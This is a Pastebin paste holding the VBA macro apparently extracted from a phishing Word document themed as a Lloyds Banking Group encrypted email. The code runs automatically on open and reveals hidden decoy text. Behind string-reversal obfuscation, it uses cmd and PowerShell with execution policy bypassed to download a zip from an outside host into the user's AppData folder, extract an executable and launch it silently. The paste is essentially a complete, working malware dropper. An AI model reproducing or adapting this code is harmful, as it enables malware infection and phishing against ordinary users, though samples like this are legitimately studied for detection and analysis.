daily pastebin goal
89%
SHARE
TWEET

Lloyds Banking Group encrypted email macro

a guest Sep 8th, 2016 39 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub AutoOpen()
  10.     On Error Resume Next
  11.     Workbook_Open
  12. End Sub
  13.  
  14. Sub Workbook_Open()
  15.     On Error Resume Next
  16.     Dim f1AkoSV3GHc6
  17.     Dim OYJja8p: OYJja8p = False
  18.     For f1AkoSV3GHc6 = 1 To ActiveDocument.Shapes.Count
  19.         If ActiveDocument.Shapes(f1AkoSV3GHc6).AlternativeText = "fkwarning" Then
  20.             ActiveDocument.Protect wdNoProtection
  21.             ActiveDocument.Unprotect
  22.             ActiveDocument.Shapes(f1AkoSV3GHc6).Delete
  23.             ActiveDocument.Range(0, 2).Delete
  24.             OYJja8p = True
  25.             Exit For
  26.         End If
  27.     Next f1AkoSV3GHc6
  28.     If OYJja8p = False Then
  29.         Exit Sub
  30.     End If
  31.     Dim c6t5Nqd7oC: Set c6t5Nqd7oC = CreateObject("WS" & Right(ActiveDocument.Name, 1) & "ript.S" & StrReverse("lleh"))
  32.     ActiveDocument.Range.Font.Hidden = False
  33.     Dim GylnhTIF: GylnhTIF = StrReverse("iz.") & "p"
  34.     Dim uLXz0VFPHK6F: uLXz0VFPHK6F = c6t5Nqd7oC.ExpandEnvironmentStrings("%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe")
  35.     Dim AahxPbiyQZx: Set AahxPbiyQZx = CreateObject("S" & Right(ActiveDocument.Name, 1) & "ripting.FileSystemObje" & Right(ActiveDocument.Name, 1) & "t")
  36.     uLXz0VFPHK6F = Left(uLXz0VFPHK6F, InStrRev(uLXz0VFPHK6F, "\"))
  37.     c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & "mkdir """ & uLXz0VFPHK6F & """", 0, True
  38.     c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & StrReverse("xe.llehsrew" & Mid(Right(ActiveDocument.Name, 2), 1, 1) & "p") & "e " & "-E" & StrReverse(" eliforpon- ssapyb y" & Right(ActiveDocument.Name, 1) & "iloPnoitu" & Right(ActiveDocument.Name, 1) & "ex") & StrReverse("(eliFdaolnwoD.)tneil" & Right(ActiveDocument.Name, 1) & "beW.teN.metsyS t" & Right(ActiveDocument.Name, 1) & "ejbO-weN(") & "'" & "htt" & StrReverse("z.2/ua.moc.puorgwalca//:p") & "ip" & "','" & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & GylnhTIF & "'); (new-object -com shell.application).namespace('" & uLXz0VFPHK6F & StrReverse("'(ecapseman.)noitacilppa.llehs moc- tcejbo-wen((ereHypoC.)'") & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & GylnhTIF & StrReverse(")61,)(smetI.)'"), 0, True
  39.     Kill c6t5Nqd7oC.ExpandEnvironmentStrings("%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe") & GylnhTIF
  40.     c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & "start """" """ & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & """", 0
  41.     ActiveDocument.Save
  42. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top